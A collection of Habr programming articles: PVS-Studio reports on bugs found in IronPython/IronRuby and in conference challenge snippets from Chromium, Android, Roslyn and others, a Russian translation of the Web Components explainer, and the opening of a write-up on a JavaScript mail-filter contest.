А теперь рассмотрим примеры реальных ошибок, найденных с помощью PVS-Studio:
**Примеры 1 и 2. Невнимательность.**
```
private bool Enter(RangeExpression/*!*/ node, bool isCondition) {
....
if (!isCondition && litBegin != null && litEnd != null
&& litBegin.Value is int && litBegin.Value is int) {
_result = MakeNode(NodeKind.lit, new Range(
(int)litBegin.Value, (int)litEnd.Value,
node.IsExclusive));
} else {
....
}
....
}
```
Предупреждение PVS-Studio: [V3001](http://www.viva64.com/ru/d/0381/) There are identical sub-expressions 'litBegin.Value is int' to the left and to the right of the '&&' operator. IronRubyParseTreeOps.cs 277
В условии дважды проверяется что litBegin.Value имеет тип int вместо того, чтобы также проверить litEnd.Value.
Аналогичные проверки одних и тех же выражений присутствуют ещё в двух местах, например, здесь:
```
private static PythonTuple ReduceProtocol2(
CodeContext/*!*/ context, object self) {
....
if (self is PythonDictionary || self is PythonDictionary) {
dictIterator = PythonOps.Invoke(context, self,
"iteritems", ArrayUtils.EmptyObjects);
}
....
}
```
Предупреждение PVS-Studio: [V3001](http://www.viva64.com/ru/d/0381/) There are identical sub-expressions 'self is PythonDictionary' to the left and to the right of the '||' operator. IronPython ObjectOps.cs 452
**Пример 3. Одинаковые выражения.**
```
protected override MSAst.Expression VisitTry(
MSAst.TryExpression node) {
....
if (newHandlers != null || newFinally != null) {
node = Ast.MakeTry(node.Type, node.Body,
newFinally != null ? newFinally : node.Finally,
node.Fault,
newHandlers != null ? newHandlers : newHandlers
);
}
return node;
}
```
Предупреждение PVS-Studio: [V3012](http://www.viva64.com/ru/d/0383/) The '?:' operator, regardless of its conditional expression, always returns one and the same value: newHandlers. DebugInfoRewriter.cs 252
Здесь newHandlers используется в обеих ветках условного выражения. Предполагалось использовать node.Handlers в случае если newHandlers будет null.
**Примеры 4 и 5. Невнимательность.**
```
public static bool HasValue(RubyContext/*!*/ context,
object/*!*/ self, object value) {
var strValue = value as MutableString;
if (value == null) {
return false;
}
var clrStrValue = strValue.ConvertToString();
....
}
```
Предупреждение PVS-Studio: [V3019](http://www.viva64.com/ru/d/0388/) Possibly an incorrect variable is compared to null after type conversion using 'as' keyword. Check variables 'value', 'strValue'. EnvironmentSingletonOps.cs 189
Это довольно распространённая ошибка, когда из-за невнимательности после приведения типа с помощью оператора 'as' проверяют на null не результат приведения, а исходный объект, а потом используют непроверенную ссылку.
Вот ещё один похожий случай:
```
private static RubyRegex/*!*/ ConstructRubyRegexp(
RubyConstructor/*!*/ ctor, Node/*!*/ node) {
ScalarNode scalar = node as ScalarNode;
if (node == null) {
throw RubyExceptions.CreateTypeError(
"Can only create regex from scalar node");
}
Match match = _regexPattern.Match(scalar.Value);
....
}
```
Предупреждение PVS-Studio: [V3019](http://www.viva64.com/ru/d/0388/) Possibly an incorrect variable is compared to null after type conversion using 'as' keyword. Check variables 'node', 'scalar'. RubyConstructor.cs 230
**Пример 6. Copy-Paste.**
```
private void LoadNewObj(CodeContext/*!*/ context) {
PythonTuple args = PopStack() as PythonTuple;
if (args == null) {
throw PythonOps.TypeError("expected second argument, got {0}",
DynamicHelpers.GetPythonType(args));
}
PythonType cls = PopStack() as PythonType;
if (args == null) {
throw PythonOps.TypeError("expected first argument, got {0}",
DynamicHelpers.GetPythonType(args));
}
....
}
```
Предупреждение PVS-Studio: [V3021](http://www.viva64.com/ru/d/0390/) There are two 'if' statements with identical conditional expressions. The first 'if' statement contains method return. This means that the second 'if' statement is senseless. cPickle.cs 2194
В приведённом фрагменте кода два условия и вызовы функции GetPythonType() абсолютно одинаковые. Очевидно, что второе условие было получено копированием первого, но изменить имя переменной автор забыл. В проекте встречается ещё пара похожих ситуаций.
**Пример 7. Одинаковые условия.**
```
public static int Compare(SourceLocation left, SourceLocation right) {
if (left < right) return -1;
if (right > left) return 1;
return 0;
}
```
Предупреждение PVS-Studio: [V3021](http://www.viva64.com/ru/d/0390/) There are two 'if' statements with identical conditional expressions. The first 'if' statement contains method return. This means that the second 'if' statement is senseless. SourceLocation.cs 156
Этот метод довольно простой, и кажется, что ошибиться здесь негде. Тем не менее во втором условии параметры left и right зачем-то поменяли местами, в результате чего оба условия проверяют одно и то же, что и обнаружил анализатор.
Корректный вариант кода:
```
public static int Compare(SourceLocation left, SourceLocation right) {
if (left < right) return -1;
if (left > right) return 1;
return 0;
}
```
**Пример 8. Избыточное условие.**
```
private void WriteSingleQuoted(string text, bool split) {
....
while (ending <= text.Length) {
c = '\0';
if (ending < text.Length) {
c = text[ending];
}
if (spaces) {
if (c == 0 || c != 32) {
....
}
```
Предупреждение PVS-Studio: [V3023](http://www.viva64.com/ru/d/0411/) Consider inspecting the 'c == 0 || c != 32' expression. The expression is excessive or contains a misprint. Emitter.cs 308
Сначала переменной 'c' присваивается значение по умолчанию — '\0'. Затем, если ещё не обработали всю строку, 'c' получает значение очередного символа. И в конце проверяется, осталось ли в переменной 'c' значение по умолчанию или туда считали что-то кроме пробела. На самом деле сравнение с нулём здесь лишнее, так как ноль и так отличен от 32 (код пробела). Этот код не приводит к ошибкам, но затрудняет понимание, поэтому сравнение с нулём можно выкинуть. Анализатор нашёл ещё несколько аналогичных лишних проверок в этом проекте.
**Примеры 9 и 10. Некорректная строка форматирования.**
Общая проблема при использовании функции String.Format заключается в том, что количество и номера параметров строки форматирования не проверяется компилятором на соответствие количеству параметров, переданных в String.Format. В результате может быть либо сформирована неправильная строка, либо будет выброшено исключение FormatException. Рассмотрим примеры.
```
public T Current {
get {
try {
return (T)enumerable.Current;
}
catch (InvalidCastException iex) {
throw new InvalidCastException(string.Format(
"Error in IEnumeratorOfTWrapper.Current. Could not cast: {0} in {0}",
typeof(T).ToString(), enumerable.Current.GetType().ToString()), iex);
}
}
}
```
Предупреждение PVS-Studio: [V3025](http://www.viva64.com/ru/d/0392/) Incorrect format. A different number of format items is expected while calling 'Format' function. Expected: 1. Present: 2. ConversionWrappers.cs 235
В этом примере последний параметр не используется, а вместо этого два раза будет выведено значение typeof(T).ToString().
```
private static void DumpGenericParameters(
MetadataTableView genericParams,
MetadataRecord owner) {
foreach (GenericParamDef gp in genericParams) {
_output.WriteLine(" generic parameter #{0}: {1}",
gp.Index, gp.Name, gp.Attributes);
....
}
```
Предупреждение PVS-Studio: [V3025](http://www.viva64.com/ru/d/0392/) Incorrect format. A different number of format items is expected while calling 'WriteLine' function. Expected: 2. Present: 3. Program.cs 268
А в этом фрагменте кода в функцию WriteLine передаётся на один параметр больше, чем требует строка форматирования.
**Пример 11. Проверка на null после доступа.**
```
public static MutableString ChompInPlace(....) {
MutableString result = InternalChomp(self, separator);
if (result.Equals(self) || result == null) {
self.RequireNotFrozen();
return null;
}
....
}
```
Предупреждение PVS-Studio: [V3027](http://www.viva64.com/ru/d/0414/) The variable 'result' was utilized in the logical expression before it was verified against null in the same logical expression. MutableStringOps.cs 1097
В этом условии следует поменять местами проверку на null и вызов метода Equals. В таком виде как сейчас приложение может упасть с NullReferenceException.
**Пример 12. Проблемы с синхронизацией.**
```
class DictThreadGlobalState {
public int DoneCount;
....
}
private static void RunThreadTest(DictThreadGlobalState globalState) {
....
globalState.DoneEvent.Reset();
globalState.Event.Set();
while (globalState.DoneCount != 0) {
// wait for threads to get back to finish
}
....
}
```
Предупреждение PVS-Studio: [V3032](http://www.viva64.com/ru/d/0419/) Waiting on this expression is unreliable, as compiler may optimize some of the variables. Use volatile variable(s) or synchronization primitives to avoid this. EngineTest.cs 2558
Этот код содержит ошибку, которая может проявляться не всегда, а в зависимости от среды выполнения, версии .NET Framework, количества процессоров в системе или ещё от каких-то деталей реализации. Такие ошибки бывает очень сложно отловить. Причина в том, что переменная DoneCount не объявлена как volatile, а раз так, то компилятор считает, что она используется только одним потоком, и её значение можно, например, закешировать и отдавать всё время из кеша, так как внутри цикла эта переменная не меняется. Но в нашем случае её значение изменяется в другом потоке, поэтому в таких случаях, когда переменная используется для синхронизации потоков, её необходимо объявлять, как volatile. Подробнее об этом можно прочитать в [MSDN](https://msdn.microsoft.com/en-us/library/x13ttww7.aspx).
**Пример 13. Двойное присваивание**
```
private static Dictionary
MakeCodecsDict() {
....
switch (normalizedName) {
case "iso\_8859\_1":
d["8859"] = d["latin\_1"] = d["latin1"] =
d["iso 8859\_1"] = d["iso8859\_1"] = d["cp819"] = d["819"] =
d["latin"] = d["latin1"] = d["l1"] = encs[i];
break;
....
}
```
Предупреждение PVS-Studio: [V3005](http://www.viva64.com/ru/d/0403/) The 'd[«latin1»]' variable is assigned to itself. StringOps.cs 1905
В этом коде дважды присваивается значение в переменную d[«latin1»]. Скорее всего, это просто лишний код, а не ошибка. Но возможно тут забыли про какую-то кодовую страницу. В любом случае стоит взглянуть.
**Пример 14. Сравнение беззнаковой переменной с нулём**
```
public static int __hash__(UInt64 x) {
int total = unchecked((int) (((uint)x) + (uint)(x >> 32)));
if (x < 0) {
return unchecked(-total);
}
return total;
}
```
Предупреждение PVS-Studio: [V3022](http://www.viva64.com/ru/d/0391/) Expression 'x < 0' is always false. Unsigned type value is always >= 0. IntOps.Generated.cs 1967
Вероятно, с нулём надо было сравнить 'total', а не 'x', потому что странно выполнять какие-то действия с 'x' всегда, а потом проверять частный случай. Да и 'total' имеет знаковый тип, так что сравнение «total < 0» выглядит логичней.
**Пример 15. Одинаковые проверки.**
```
public void ReflectTypes(Type[]/*!*/ allTypes) {
....
def.Super = null;
if (cls != null && def.Extends != typeof(BasicObject)
&& !def.Extends.IsInterface) {
if (cls != null && cls.Inherits != null) {
def.Super = new TypeRef(cls.Inherits);
....
}
```
Предупреждение PVS-Studio: [V3030](http://www.viva64.com/ru/d/0415/) Recurring check. The 'cls != null' condition was already verified in line 373. LibraryDef.cs 374
Тут в обоих условиях переменная 'cls' проверяется на null. Скорее всего автор хотел проверить 'def' на null в первом условии, так как там он сразу обращается к его свойству Extends. Но это делать тоже было бы необязательно, потому что прямо перед условием в 'def.Super' записывается null, а это значит, что 'def' уже не null. В общем, это просто лишняя проверка.
**Пример 16. Copy-paste.**
Я дошёл до ошибок третьего уровня, которых всего 280 штук. Из них подавляющее большинство — это предупреждения о том, что тела двух функций совпадают, и предупреждения о сравнении чисел с плавающей точкой. Я не думал, что смогу найти здесь что-то серьёзное, поэтому начал бегло просматривать ошибки, и тем не менее нашёл.
```
public static bool IsPositiveOne(BigDecimal x) {
return IsOne(x) && IsPositive(x);
}
public static bool IsNegativeOne(BigDecimal x) {
return IsOne(x) && IsPositive(x);
}
```
Предупреждение PVS-Studio: [V3013](http://www.viva64.com/ru/d/0389/) It is odd that the body of 'IsPositiveOne' function is fully equivalent to the body of 'IsNegativeOne' function (351, line 355). BigDecimal.cs 351
Это действительно реальная ошибка, которая является результатом копирования кода из одной функции в другую. Правильный вариант кода должен быть таким:
```
public static bool IsNegativeOne(BigDecimal x) {
return IsOne(x) && IsNegative(x);
}
```
**Пример 17 Странная проверка на NaN.**
```
public static bool Equals(float x, float y) {
if (x == y) {
return !Single.IsNaN(x);
}
return x == y;
}
```
Предупреждение PVS-Studio: [V3024](http://www.viva64.com/ru/d/0412/) An odd precise comparison: x == y. Consider using a comparison with defined precision: Math.Abs(A — B) < Epsilon. FloatOps.cs 1048
Я не понял в чём тут смысл специальной проверки на NaN. Если условие (x == y) выполняется, то это значит, что и 'x', и 'y' отличны от NaN, потому что NaN не равен никакому другому значению, в том числе и самому себе. То есть первый return всегда будет возвращать true. Похоже, что проверка на NaN просто лишняя.
Заключение
----------
По результатам проверки проекта я остался доволен работой анализатора, так как, во-первых, он нашёл пару десятков реальных ошибок, после исправления которых код проекта станет лучше. А во-вторых, я выявил несколько ложных срабатываний, которые можно устранить, улучшив тем самым заодно и наш продукт. Поэтому рекомендую всем скачать демонстрационную версию PVS-Studio и проверить свой код.
[](http://www.viva64.com/en/b/0367/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Ilya Ivanov. [Analyzing IronPython and IronRuby with PVS-Studio](http://www.viva64.com/en/b/0367/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2016](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/274863/ | null | ru | null |
# Введение в веб-компоненты. Часть 1
*От переводчика: Представляю вашему вниманию перевод многообещающего [стандарта Веб-компонентов](http://dvcs.w3.org/hg/webcomponents/raw-file/tip/explainer/index.html) от Google, который может стать трендом в ближайшие несколько лет. В данный момент, знание этого стандарта не несёт практического применения, поэтому, если вы не фанат всего нового и интересного, вам возможно будет скучно читать данный перевод.*
*Перевод выложен на [github](https://github.com/termi/CreativeWork/blob/WCE/RU_ru/Web%20Components%20Explained/Translation.md), поэтому, если вы хотите помочь с переводом или исправить ошибку сделайте pull request, ну или пишите в личку.*
Статус: `Эксперементальный драфт`
Авторы:
* Dominic Cooney, Google, [dominicc@google.com](mailto:dominicc@google.com)
* Dimitri Glazkov, Google, [dglazkov@chromium.org](mailto:dglazkov@chromium.org)
Введение
--------
Компонентная модель для Web'а (или Web Components) состоит из четырёх модулей, которые, будучи использованными вместе, позволят разработчикам web-приложений создавать виджеты с богатыми визуальными возможностями, легкие в разработке и повторном использовании, что в данный момент невозможно с использованием только CSS и JS-библиотек.
Модули:
* шаблоны ([templates](http://dvcs.w3.org/hg/webcomponents/raw-file/tip/explainer/index.html#template-section)), определяюют часть неактивной разметки, которая может быть использована в дальнейшем;
* декораторы ([decorators](http://dvcs.w3.org/hg/webcomponents/raw-file/tip/explainer/index.html#decorator-section)), позволяют с помощью CSS управлять визуальными и поведенческими изменениями в шаблонах;
* пользовательские элементы ([custom elements](http://dvcs.w3.org/hg/webcomponents/raw-file/tip/explainer/index.html#custom-element-section)), позволяют авторам определить их собственные *элементы* (включая представление и API этих элементов), которые могут быть использованы в основном HTML-документе;
* скрытый DOM ([shadow DOM](http://dvcs.w3.org/hg/webcomponents/raw-file/tip/explainer/index.html#shadow-dom-section)), определяет, как представление и поведение *декораторов* и *пользовательские элементы* сочетаются друг с другом в дереве DOM.
Вместе *декораторы* и *пользовательские элементы* называются **компонентами**
Шаблоны
-------
Элемент содержит разметку, предназначенную для использования позже с помощью скрипта или другого модуля, который может использовать шаблон (например, и , которые описаны ниже).
Содержимое элемента анализируется парсером, но оно неактивно: скрипты не запускаются, изображения не загружаются и т. д. Элемент не выводится.
В скрипте такой элемент имеет специальное свойство **content**, которое содержит статическую DOM-структуру определённую в шаблоне.
Например, разработчику может понадобиться определить DOM-структуру, которая создается несколько раз в документе, а затем создать его экземпляр, когда это будет необходимо.
```
![]()
…
var t = document.querySelector("#commentTemplate");
// Заполнить содержание и значения img[src] в шаблоне.
// …
someElement.appendChild(t.content.cloneNode());
```
Добавление статического DOM-узла в документ делает его «живым», как если бы этот DOM-узел был получен через свойство **innerHTML**.
Декораторы
----------
Декоратор это нечто, что улучшает или переопределяет представление существующего элемента. Как и все аспекты представлений, поведение декораторов контролируется с помощью CSS. Однако, возможность определять дополнительные аспекты представления, используя разметку — уникальная черта декораторов.
Элемент содержит элемент , который определяет разметку используемую для рендеринга декоратора.
```
#fog {
position: absolute;
left: 0;
bottom: 0;
right: 0;
height: 5em;
background: linear-gradient(
bottom, white 0, rgba(255, 255, 255, 0) 100);
}
```
Элемент указывает на место, куда декоратор (точнее, его содержимое) должен быть вставлен.
Декоратор применяется, используя CSS-свойство **decorator**:
```
.poem {
decorator: url(#fade-to-white);
font-variant: small-caps;
}
```
Декоратор и CSS описанные выше заставят данную разметку:
```
Two roads diverged in a yellow wood,
…
``` | https://habr.com/ru/post/152001/ | null | ru | null |
# Solutions to Bug-Finding Challenges Offered by the PVS-Studio Team at Conferences in 2018-2019
Hi! Though the 2019 conference season is not over yet, we'd like to talk about the bug-finding challenges we offered to visitors at our booth during the past conferences. Starting with the fall of 2019, we've been bringing a new set of challenges, so we can now reveal the solutions to the previous tasks of 2018 and the first half of 2019 – after all, many of them came from previously posted articles, and we had a link or QR code with information about the respective articles printed on our challenge leaflets.
If you attended events where we participated with a booth, you probably saw or even tried to solve some of our challenges. These are snippets of code from real open-source projects written in C, C++, C#, or Java. Each snippet contains a bug, and the guests are challenged to try to find it. A successful solution (or simply participation in the discussion of the bug) is rewarded with a prize: a spiral-bound desktop status, a keychain, and the like:
Want some too? Then welcome to drop by our booth at the upcoming events.
By the way, in the articles "[Conference Time! Summing up 2018](https://www.viva64.com/en/b/0608/)" and "[Conferences. Sub-totals for the first half of 2019](https://www.viva64.com/en/b/0648/)", we share our experience of participating in the events held earlier this year and in 2018.
Okay, let's play our «Find the bug» game. First we'll take a look at the earlier challenges of 2018, grouped by language.
2018
----
### C++
**Chromium bug**
```
static const int kDaysInMonth[13] = {
0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31
};
bool ValidateDateTime(const DateTime& time) {
if (time.year < 1 || time.year > 9999 ||
time.month < 1 || time.month > 12 ||
time.day < 1 || time.day > 31 ||
time.hour < 0 || time.hour > 23 ||
time.minute < 0 || time.minute > 59 ||
time.second < 0 || time.second > 59) {
return false;
}
if (time.month == 2 && IsLeapYear(time.year)) {
return time.month <= kDaysInMonth[time.month] + 1;
} else {
return time.month <= kDaysInMonth[time.month];
}
}
```
**Solution**This bug found in Chromium was probably the most «long-running» challenge; we were offering it all the way through 2018 and included it in several presentations as well.
```
if (time.month == 2 && IsLeapYear(time.year)) {
return time.month <= kDaysInMonth[time.month] + 1; // <= day
} else {
return time.month <= kDaysInMonth[time.month]; // <= day
}
```
The body of the last *If-else* block contains typos in the return statements: *time.month* was accidentally written for a second time instead of *time.day*. This mistake makes the function return *true* all the time. The bug is discussed in detail in the article "[February 31](https://www.viva64.com/en/b/0550/)" and is a cool example of a bug that isn't easily spotted by code review. This case is also a good demonstration of how we use dataflow analysis.
**Unreal Engine bug**
```
bool VertInfluencedByActiveBone(
FParticleEmitterInstance* Owner,
USkeletalMeshComponent* InSkelMeshComponent,
int32 InVertexIndex,
int32* OutBoneIndex = NULL);
void UParticleModuleLocationSkelVertSurface::Spawn(....)
{
....
int32 BoneIndex1, BoneIndex2, BoneIndex3;
BoneIndex1 = BoneIndex2 = BoneIndex3 = INDEX_NONE;
if(!VertInfluencedByActiveBone(
Owner, SourceComponent, VertIndex[0], &BoneIndex1) &&
!VertInfluencedByActiveBone(
Owner, SourceComponent, VertIndex[1], &BoneIndex2) &&
!VertInfluencedByActiveBone(
Owner, SourceComponent, VertIndex[2]) &BoneIndex3)
{
....
}
```
**Solution**The first thing to notice here is that the last argument of the *VertInfluencedByActiveBone()* function has a default value and is not required to be specified. Now look at the *if* block in a simplified form:
```
if (!foo(....) && !foo(....) && !foo(....) & arg)
```
The bug is now clearly visible. Because of the typo, the third call of the *VertInfluencedByActiveBone()* function is performed with three arguments instead of four, with the return value then participating in a *&* operation (bitwise AND: the left operand is the value of type *bool* returned by *VertInfluencedByActiveBone()*, and the right operand is the integer variable *BoneIndex3*). The code is still compilable. This is the fixed version (a comma added, the closing parenthesis moved to the end of the expression):
```
if(!VertInfluencedByActiveBone(
Owner, SourceComponent, VertIndex[0], &BoneIndex1) &&
!VertInfluencedByActiveBone(
Owner, SourceComponent, VertIndex[1], &BoneIndex2) &&
!VertInfluencedByActiveBone(
Owner, SourceComponent, VertIndex[2], &BoneIndex3))
```
This error was originally mentioned in the article "[A Long-Awaited Check of Unreal Engine 4](https://www.viva64.com/en/b/0249/)", where it was titled «the nicest error», which I totally agree with.
**Android bugs**
```
void TagMonitor::parseTagsToMonitor(String8 tagNames) {
std::lock_guard lock(mMonitorMutex);
// Expand shorthands
if (ssize\_t idx = tagNames.find("3a") != -1) {
ssize\_t end = tagNames.find(",", idx);
char\* start = tagNames.lockBuffer(tagNames.size());
start[idx] = '\0';
....
}
....
}
```
**Solution**The programmer had wrong assumptions about the precedence of operations in the condition of the *if* block. This code doesn't work as expected:
```
if (ssize_t idx = (tagNames.find("3a") != -1))
```
The *idx* variable will be assigned the value 0 or 1, and whether the condition is true or false will depend on this value, which is a mistake. This is the fixed version:
```
ssize_t idx = tagNames.find("3a");
if (idx != -1)
```
This bug was mentioned in the article "[We Checked the Android Source Code by PVS-Studio, or Nothing is Perfect](https://www.viva64.com/en/b/0579/)".
Here's another non-trivial challenge with an Android bug:
```
typedef int32_t GGLfixed;
GGLfixed gglFastDivx(GGLfixed n, GGLfixed d)
{
if ((d>>24) && ((d>>24)+1)) {
n >>= 8;
d >>= 8;
}
return gglMulx(n, gglRecip(d));
}
```
**Solution**The problem is in the *(d >> 24) + 1* expression.
The programmer wanted to check that the 8 most significant bits of the *d* variable are set to 1 but not all of them at a time. In other words, they wanted to check that the most significant byte stores any value except 0x00 and 0xFF. First the programmer checks the most significant bits for null using the (d>>24) expression. Then they shift the eight most significant bits to the least significant byte, expecting the most significant sign bit to get duplicated in all the other bits. That is, if the d variable has the value 0b11111111'00000000'00000000'00000000, it will turn into 0b11111111'11111111'11111111'11111111 after the shift. By adding 1 to the *int* value 0xFFFFFFFF, the programmer is expecting to get 0 (-1+1=0). Thus, the *((d>>24)+1)* expression is used to check that not all of the eight most significant bits are set to 1.
However, the most significant sign bit does not necessarily get «spread» when shifted. This is what the standard says: «The value of E1 >> E2 is E1 right-shifted E2 bit positions. If E1 has an unsigned type or if E1 has a signed type and a non-negative value, the value of the result is the integral part of the quotient of E1/2^E2. *If E1 has a signed type and a negative value, the resulting value is implementation-defined*».
So, this is an example of implementation-defined behavior. How exactly this code will work depends on the CPU architecture and compiler implementation. The most significant bits may well end up as zeroes after the shift, and the *((d>>24)+1)* expression would then always return a value other than 0, i.e. an always true value.
That, indeed, is a non-trivial challenge. Like the previous bug, this one was originally discussed in the article "[We Checked the Android Source Code by PVS-Studio, or Nothing is Perfect](https://www.viva64.com/en/b/0579/)".
2019
----
### C++
**«It's all GCC's fault»**
```
int foo(const unsigned char *s)
{
int r = 0;
while(*s) {
r += ((r * 20891 + *s *200) | *s ^ 4 | *s ^ 3) ^ (r >> 1);
s++;
}
return r & 0x7fffffff;
}
```
The programmer blames the GCC 8 compiler for the bug. Is it really GCC's fault?
**Solution**The function returns negative values since the compiler doesn't generate code for the bitwise AND (&). The bug has to do with undefined behavior. The compiler notices that the *r* variable is used to calculate and store a sum, with only positive values involved. The *r* variable shouldn't overflow because that would be undefined behavior, which the compiler is not bound to reckon with at all. So it concludes that since *r* can't have a negative value at the end of the loop, the operation *r & 0x7fffffff*, which clears the sign bit, is unnecessary, so it simply tells the function to return the value of *r*.
This error was described in the article "[PVS-Studio 6.26 Released](https://www.viva64.com/en/b/0585/)".
**QT bug**
```
static inline const QMetaObjectPrivate *priv(const uint* data)
{ return reinterpret_cast(data); }
bool QMetaEnum::isFlag() const
{
const int offset = priv(mobj->d.data)->revision >= 8 ? 2 : 1;
return mobj && mobj->d.data[handle + offset] & EnumIsFlag;
}
```
**Solution**The *mobj* pointer is handled in an unsafe way: first dereferenced, then checked. A classic.
The bug was mentioned in the article "[A Third Check of Qt 5 with PVS-Studio](https://www.viva64.com/en/b/0584/)".
### C#
**Infer.NET bug**
```
public static void
WriteAttribute(TextWriter writer,
string name,
object defaultValue,
object value,
Func converter = null)
{
if ( defaultValue == null && value == null
|| value.Equals(defaultValue))
{
return;
}
string stringValue = converter == null ? value.ToString() :
converter(value);
writer.Write($"{name}=\"{stringValue}\" ");
}
```
**Solution**Null dereference of the *value* variable may occur when evaluating the *value.Equals(defaultValue)* expression. This will happen when the variables' values are such that *defaultValue != null* and *value == null*.
This bug is from the article "[What Errors Lurk in Infer.NET Code?](https://www.viva64.com/en/b/0590/)"
**FastReport bug**
```
public class FastString
{
private const int initCapacity = 32;
private void Init(int iniCapacity)
{ sb = new StringBuilder(iniCapacity); .... }
public FastString() { Init(initCapacity); }
public FastString(int iniCapacity) { Init(initCapacity); }
public StringBuilder StringBuilder => sb;
}
....
Console.WriteLine(new FastString(256).StringBuilder.Capacity);
```
What will the program output in the console? What's wrong with the *FastString* class?
**Solution**The program will output the value 32. The reason is the misspelled name of the variable passed to the *Init* method in the constructor:
```
public FastString(int iniCapacity){ Init(initCapacity); }
```
The constructor parameter *iniCapacity* won't be used; what gets passed instead is the constant *initCapacity*.
The bug was discussed in the article "[The Fastest Reports in the Wild West — and a Handful of Bugs...](https://www.viva64.com/en/b/0595/)"
**Roslyn bug**
```
private SyntaxNode GetNode(SyntaxNode root)
{
var current = root;
....
while (current.FullSpan.Contains(....))
{
....
var nodeOrToken = current.ChildThatContainsPosition(....);
....
current = nodeOrToken.AsNode();
}
....
}
public SyntaxNode AsNode()
{
if (_token != null)
{
return null;
}
return _nodeOrParent;
}
```
**Solution**Potential null dereference of *current* in the *current.FullSpan.Contains(....)* expression. The *current* variable can be assigned a null value as a result of invoking the *nodeOrToken.AsNode()* method.
This bug is from the article "[Checking the Roslyn Source Code](https://www.viva64.com/en/b/0622/)".
**Unity bug**
```
....
staticFields = packedSnapshot.typeDescriptions
.Where(t =>
t.staticFieldBytes != null &
t.staticFieldBytes.Length > 0)
.Select(t => UnpackStaticFields(t))
.ToArray()
....
```
**Solution**A typo: the *&* operator is used instead of *&&*. This results in executing the *t.staticFieldBytes.Length > 0* check all the time, even if the *t.staticFieldBytes* variable is *null*, which, in its turn, leads to a null dereference.
This bug was originally shown in the article "[Discussing Errors in Unity3D's Open-Source Components](https://www.viva64.com/en/b/0423/)".
### Java
**IntelliJ IDEA bug**
```
private static boolean checkSentenceCapitalization(@NotNull String value) {
List words = StringUtil.split(value, " ");
....
int capitalized = 1;
....
return capitalized / words.size() < 0.2; // allow reasonable amount of
// capitalized words
}
```
Why does the program incorrectly calculate the number of capitalized words?
**Solution**The function is expected to return *true* if the number of capitalized words is less than 20%. But the check doesn't work because of the integer division, which evaluates only to 0 or 1. The function will return *false* only if all the words are capitalized. Otherwise, the division will result in 0 and the function will return *true*.
This bug is from the article "[PVS-Studio for Java](https://www.viva64.com/en/b/0603/)".
**SpotBugs bug**
```
public static String getXMLType(@WillNotClose InputStream in) throws IOException
{
....
String s;
int count = 0;
while (count < 4) {
s = r.readLine();
if (s == null) {
break;
}
Matcher m = tag.matcher(s);
if (m.find()) {
return m.group(1);
}
}
throw new IOException("Didn't find xml tag");
....
}
```
What's wrong with the search of the xml tag?
**Solution**The *count < 4* condition will be always true since the variable *count* is not incremented inside the loop. The xml tag was meant to be searched for in the first four lines of the file, but because of the lacking increment, the program will be reading the entire file.
Like the previous bug, this one was described in the article "[PVS-Studio for Java](https://www.viva64.com/en/b/0603/)".
That's all for today. Come see us at the upcoming events – look for the unicorn. We'll be offering new interesting challenges and, of course, giving prizes. See you! | https://habr.com/ru/post/476268/ | null | en | null |
# Разбор решения занявшего второе (пока что) место в конкурсе Hola по программированию почтовых фильтров на JavaScript
В ноябре прошлого (уже) года, Hola объявила [конкурс по программированию почтовых фильтров на js](http://habrahabr.ru/company/hola/blog/270847/), и недавно опубликовала [его результаты](http://habrahabr.ru/company/hola/blog/274697/).
Я разделил второе место с Ильей Макаровым, и сейчас я расскажу…
Как это было
------------
Решив принять участие в конурсе и задумавшись над поставленной задачей, я довольно быстро осознал, что заданные шаблоны email'ов могут быть преобразованы в регулярные выражения простой заменой `'*'` на `'.*'` и `'?'` на `'.'` и экранированием всех специальных символов. На этом можно было и успокоиться, как и поступил Надав Ивги, получивший специальный приз за [самое короткое решение](https://github.com/hola/challenge_mail_filter/blob/master/submissions/Nadav%20Ivgi/filter.js).
Но это решение обладает фатальным недостатком — сложностью *O((кол-во правил)\*(кол-во сообщений))*, так как каждое сообщение нужно проверить на соответствие каждому правилу.
Есть лучший путь. Во первых, две регулярки для полей `.from` и `.to`, можно [соединить](https://en.wikipedia.org/wiki/Concatenation) в одну, отделив их друг от друга неиспользуемым символом (скажем `'\x1F'`, так как по условию используются только символы от `'\x20'` до `'\x7F'` включительно), и то же самое проделывать с соответствующими полями сообщений:
```
{from: 'john.doe@foo.org', to: '*@hola.*', action: 'act1'}
->
{signature: 'alex@foo.org\x1F*@hola.*', action: 'act1'}
```
Это уменьшает количество необходимых тестов вдвое.
Во вторых, эти регулярки можно скомпилировать в один [детерминированный конечный автомат (DFA)](https://en.wikipedia.org/wiki/Deterministic_finite_automaton), сложность работы которого не зависит от их колчества. Здесь стандартный [`RegExp`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/RegExp) нам уже не поможет.
Именно это и делала [первая версия](https://github.com/yuri-kilochek/hola_mail_filter/commit/428d619e198abc40cee34104bb13d7c0bba64e9d) моего решения.
Успешно протестировав её на данных из задания я решил автоматизировать процесс и реализовал [генератор исходных данных и сравнение результатов с reference implementation](https://github.com/yuri-kilochek/hola_mail_filter/commit/2296e0ac5a81d7e52523e00e305be740775416af). Как оказалось не зря, в процедуре минимизации DFA [обнаружился баг, и я временно исключил её из алгоритма](https://github.com/yuri-kilochek/hola_mail_filter/commit/9099f510b52dc182d9b35b932052c49444c952de) (её наличие не влияет на корретность, только производительность).
Мой скрипт долбился в reference implementation с масимально возможно частотой, и через пару дней Hola ввели ограничение на частоту запросов. Хех. Я пожал плечами и [ввел задержку между запросами](https://github.com/yuri-kilochek/hola_mail_filter/commit/488c252dc3b3f13c3f9a043d22ce4d7324535e4d). Тестирование стало проходить медленнее, но жить было можно.
Тут началась оптимизация. Первая идея состояла в [компиляции DFA в огромный `switch` на js](https://github.com/yuri-kilochek/hola_mail_filter/commit/13ba87072dfdef0c120ff69acf2e9ddc9e0b64ba), как это делает [lex](https://en.wikipedia.org/wiki/Lex_(software)) и другие подобные инструменты.
